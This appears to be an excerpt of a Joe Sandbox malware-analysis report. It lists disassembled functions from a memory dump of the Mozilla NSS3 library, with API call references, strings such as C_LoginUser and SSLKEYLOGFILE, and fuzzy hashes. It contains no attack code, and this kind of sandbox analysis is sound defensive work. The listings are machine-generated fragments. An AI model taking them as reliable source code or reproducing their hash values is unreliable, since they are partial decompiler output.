EnterCriticalSection.KERNEL32(0000001C), ref: 6D003124
PR_Unlock.NSS3(?), ref: 6D00314C

Part of subcall function 6CFE9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6D01379E,?,6CFE9568,00000000,?,6D01379E,?,00000001,?), ref: 6CFE918D
Part of subcall function 6CFE9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6D01379E,?,6CFE9568,00000000,?,6D01379E,?,00000001,?), ref: 6CFE91A0

Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07AD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07CD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07D6
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF4204A), ref: 6CFB07E4
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,6CF4204A), ref: 6CFB0864
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFB0880
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF4204A), ref: 6CFB08CB
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08D7
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08FB

PR_SetError.NSS3(00000000,00000000), ref: 6D00316D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 9a41a02598ccad1ef3e15e31dadc67edd5e361a9b522ebe8c479f04b064e9425
Instruction ID: 9e1cab9ff69c8422ba0e2515bf6b2e620f07d25eaf383ed76f541411b74a6fa5
Opcode Fuzzy Hash: 9a41a02598ccad1ef3e15e31dadc67edd5e361a9b522ebe8c479f04b064e9425
Instruction Fuzzy Hash: 17F19BB5C00209EFFF01DFA4E885BAEBBB5BF09314F048169ED14A7211E771A995CB91

Function 6CFE9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFE9FBE

Part of subcall function 6CFC2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFC2F0A
Part of subcall function 6CFC2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFC2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFEA015

Part of subcall function 6D001940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6D00563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6D00195C
Part of subcall function 6D001940: EnterCriticalSection.KERNEL32(?,?,6D00563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CFDEAC5,00000001), ref: 6D001970
Part of subcall function 6D001940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CFDEAC5,00000001,?,6CFDCE9B,00000001,6CFDEAC5), ref: 6D0019A0

PL_FreeArenaPool.NSS3(?), ref: 6CFEA067
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFEA055

Part of subcall function 6CF44C70: TlsGetValue.KERNEL32(?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44C97
Part of subcall function 6CF44C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CB0
Part of subcall function 6CF44C70: PR_Unlock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEA07E
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFEA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CFEA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CFEA0CF
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFEA12E
PL_FreeArenaPool.NSS3(?), ref: 6CFEA140
PL_FinishArenaPool.NSS3(?), ref: 6CFEA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEA158
PL_FinishArenaPool.NSS3(?), ref: 6CFEA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CFEA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFEA1B2
free.MOZGLUE(00000000), ref: 6CFEA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CFEA1D6

Part of subcall function 6D0055E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CFDEAC5,00000001,?,6CFDCE9B,00000001,6CFDEAC5,00000003,-00000004,00000000,?,6CFDEAC5), ref: 6D005627
Part of subcall function 6D0055E0: PR_CallOnce.NSS3(6D122AA4,6D0212D0,?,?,?,?,?,?,?,?,?,?,6CFDEAC5,00000001,?,6CFDCE9B), ref: 6D00564F
Part of subcall function 6D0055E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFDEAC5,00000001), ref: 6D005661
Part of subcall function 6D0055E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFDEAC5), ref: 6D0056AF

Strings

security, xrefs: 6CFEA00F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 521df5a80c22276bf36f8979ff6e0d7533b43ca1cc464d4e4fac32b8ab4e3eb3
Instruction ID: d48dda05847421d41b5bd5a00d349c8c03bde83f1cba97fa808937cd85503c38
Opcode Fuzzy Hash: 521df5a80c22276bf36f8979ff6e0d7533b43ca1cc464d4e4fac32b8ab4e3eb3
Instruction Fuzzy Hash: A951E775E00209BBEB108FA4EC45FAF7BB4AF4970CF124124EA056BB42E775D545CBA2

Function 6CFF6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CFF6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF6DC3

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CFF6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CFF6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CFF6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CFF6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CFF6EB9

Strings

C_Digest, xrefs: 6CFF6D81
ulDataLen = %d, xrefs: 6CFF6E0E
pulDigestLen = 0x%p, xrefs: 6CFF6E42
(CK_INVALID_HANDLE), xrefs: 6CFF6DBC
pData = 0x%p, xrefs: 6CFF6DF5
nm, xrefs: 6CFF6E61, 6CFF6E95
*pulDigestLen = 0x%x, xrefs: 6CFF6EB4
pDigest = 0x%p, xrefs: 6CFF6E27
hSession = 0x%x, xrefs: 6CFF6D9E, 6CFF6DAE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nm
API String ID: 1003633598-4097685700
Opcode ID: 183fed361d02d73f1572fc5bf01b0f6f263dd33885c3ece09758f940a891d05a
Instruction ID: 61b8e7789ee3f858c80d410b370bfd7ade8eb3269b8cd91344054037f9d2978c
Opcode Fuzzy Hash: 183fed361d02d73f1572fc5bf01b0f6f263dd33885c3ece09758f940a891d05a
Instruction Fuzzy Hash: 3341D576501204BFFB109F55ED46F9E7BB1EB42318F054025F90CA7622DBB2D885CBA6

Function 6CFF9C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CFF9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF9CA3

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CFF9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CFF9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CFF9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CFF9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CFF9D42

Strings

ulUsernameLen = %d, xrefs: 6CFF9D3D
pUsername = 0x%p, xrefs: 6CFF9D24
ulPinLen = %d, xrefs: 6CFF9D0B
(CK_INVALID_HANDLE), xrefs: 6CFF9C9C
nm, xrefs: 6CFF9D5A, 6CFF9D91
C_LoginUser, xrefs: 6CFF9C61
userType = 0x%x, xrefs: 6CFF9CD5
pPin = 0x%p, xrefs: 6CFF9CF0
hSession = 0x%x, xrefs: 6CFF9C7E, 6CFF9C8E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nm
API String ID: 1003633598-1560584411
Opcode ID: fef157d9ff9d14a32a164ceb77556eec49c524d8f636d2d57ce420dd92cf9706
Instruction ID: 1905373199f9520ff30438ed58c45db93880fa65cb8efd34139d41641226f191
Opcode Fuzzy Hash: fef157d9ff9d14a32a164ceb77556eec49c524d8f636d2d57ce420dd92cf9706
Instruction Fuzzy Hash: C641F271501204BFEB108F55ED89F5E7BB1EB42309F594025F91C67262DBB2CA85CBA2

Function 6D006CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6D006910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6D006943
Part of subcall function 6D006910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6D006957
Part of subcall function 6D006910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6D006972
Part of subcall function 6D006910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6D006983
Part of subcall function 6D006910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6D0069AA
Part of subcall function 6D006910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6D0069BE
Part of subcall function 6D006910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6D0069D2
Part of subcall function 6D006910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6D0069DF
Part of subcall function 6D006910: NSSUTIL_ArgStrip.NSS3(?), ref: 6D006A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D006D8C
free.MOZGLUE(00000000), ref: 6D006DC5
free.MOZGLUE(?), ref: 6D006DD6
free.MOZGLUE(?), ref: 6D006DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D006E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D006E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D006E72
free.MOZGLUE(?), ref: 6D006EA7
free.MOZGLUE(?), ref: 6D006EC4
free.MOZGLUE(?), ref: 6D006ED5
free.MOZGLUE(00000000), ref: 6D006EE3
free.MOZGLUE(?), ref: 6D006EF4
free.MOZGLUE(?), ref: 6D006F08
free.MOZGLUE(00000000), ref: 6D006F35
free.MOZGLUE(?), ref: 6D006F44
free.MOZGLUE(?), ref: 6D006F5B
free.MOZGLUE(00000000), ref: 6D006F65

Part of subcall function 6D006C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6D00781D,00000000,6CFFBE2C,?,6D006B1D,?,?,?,?,00000000,00000000,6D00781D), ref: 6D006C40
Part of subcall function 6D006C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6D00781D,?,6CFFBE2C,?), ref: 6D006C58
Part of subcall function 6D006C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6D00781D), ref: 6D006C6F
Part of subcall function 6D006C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6D006C84
Part of subcall function 6D006C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6D006C96
Part of subcall function 6D006C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6D006CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D006F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D006FC5
PK11_GetInternalKeySlot.NSS3 ref: 6D006FF4

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: f777a0d80cccb60c8b65681b99d8ad22b84d5e6a8f6cd3f76a2ec936a3be760e
Instruction ID: 9bbbe694a3d98a8d8db94b20431cd878365a4a41d2e96bd934e58b87ba8319f9
Opcode Fuzzy Hash: f777a0d80cccb60c8b65681b99d8ad22b84d5e6a8f6cd3f76a2ec936a3be760e
Instruction Fuzzy Hash: 5BB15EB4D0035AAFFF01CBA5D945BAEBBFAAF09304F440025E915A7241E771E994CBE1

Function 6D004C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D004C4C
EnterCriticalSection.KERNEL32(?), ref: 6D004C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D004CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6D004CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D004CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D004D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D004D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D004DB7

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07AD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07CD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07D6
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF4204A), ref: 6CFB07E4
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,6CF4204A), ref: 6CFB0864
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFB0880
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF4204A), ref: 6CFB08CB
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08D7
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08FB

TlsGetValue.KERNEL32 ref: 6D004DD7
EnterCriticalSection.KERNEL32(?), ref: 6D004DEC
PR_Unlock.NSS3(?), ref: 6D004E1B
PR_SetError.NSS3(00000000,00000000), ref: 6D004E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D004E5A
PR_SetError.NSS3(00000000,00000000), ref: 6D004E71
free.MOZGLUE(00000000), ref: 6D004E7A
PR_Unlock.NSS3(?), ref: 6D004EA2
TlsGetValue.KERNEL32 ref: 6D004EC1
EnterCriticalSection.KERNEL32(?), ref: 6D004ED6
PR_Unlock.NSS3(?), ref: 6D004F01
free.MOZGLUE(00000000), ref: 6D004F2A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: b313a4ec1659aae8d54259eddb6e2151ba826b8bdc2aa0b63cb89e9bed1e1c68
Instruction ID: 7ff0a8bc89f97a94473ebf6582d302eea6545f42610ed6f78961bedc3d8cf33e
Opcode Fuzzy Hash: b313a4ec1659aae8d54259eddb6e2151ba826b8bdc2aa0b63cb89e9bed1e1c68
Instruction Fuzzy Hash: 1EB1EFB5900206BFFB01DF68E885BAAB7B5BF19318F014029ED1597301EB71E960CBE5

Function 6D00FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D00FFB4

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D00FFC6

Part of subcall function 6D0898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D089946
Part of subcall function 6D0898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF416B7,00000000), ref: 6D08994E
Part of subcall function 6D0898D0: free.MOZGLUE(00000000), ref: 6D08995E

PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D00FFD6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D00FFE6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D00FFF6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010006
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010016
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010026
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010036
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010046
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010056
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010066
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010076
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010086
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D010096
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D0100A6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D0100B6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D0100C6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D0100D6
PR_NewLock.NSS3(?,?,6D0076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D0100E6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 3e15eff0d0b351f40e536f578f943a31107be759f6b9d79e6dfe540bdc0bb28c
Instruction ID: 612afcb9b1b70220ecf56f165d2b7e0fd6d8e07765bde87bc8258f7cc0e92ee5
Opcode Fuzzy Hash: 3e15eff0d0b351f40e536f578f943a31107be759f6b9d79e6dfe540bdc0bb28c
Instruction Fuzzy Hash: 0A3143B0C25699FE9F65EF25B04030D3AB4F71BA08751412AD2858B243D7F612C6CFD6

Function 6D056E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6D056BF7), ref: 6D056EB6

Part of subcall function 6CFB1240: TlsGetValue.KERNEL32(00000040,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1267
Part of subcall function 6CFB1240: EnterCriticalSection.KERNEL32(?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB127C
Part of subcall function 6CFB1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1291
Part of subcall function 6CFB1240: PR_Unlock.NSS3(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6D0FFC0A,6D056BF7), ref: 6D056ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D056EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6D056EFC
PR_NewLock.NSS3 ref: 6D056F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D056F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6D056BF7), ref: 6D056F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6D056BF7), ref: 6D056F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6D056BF7), ref: 6D056FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6D056BF7), ref: 6D056FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6D056EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6D056FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6D056FF8
SSLFORCELOCKS, xrefs: 6D056F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6D056F4F
SSLKEYLOGFILE, xrefs: 6D056EB1

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

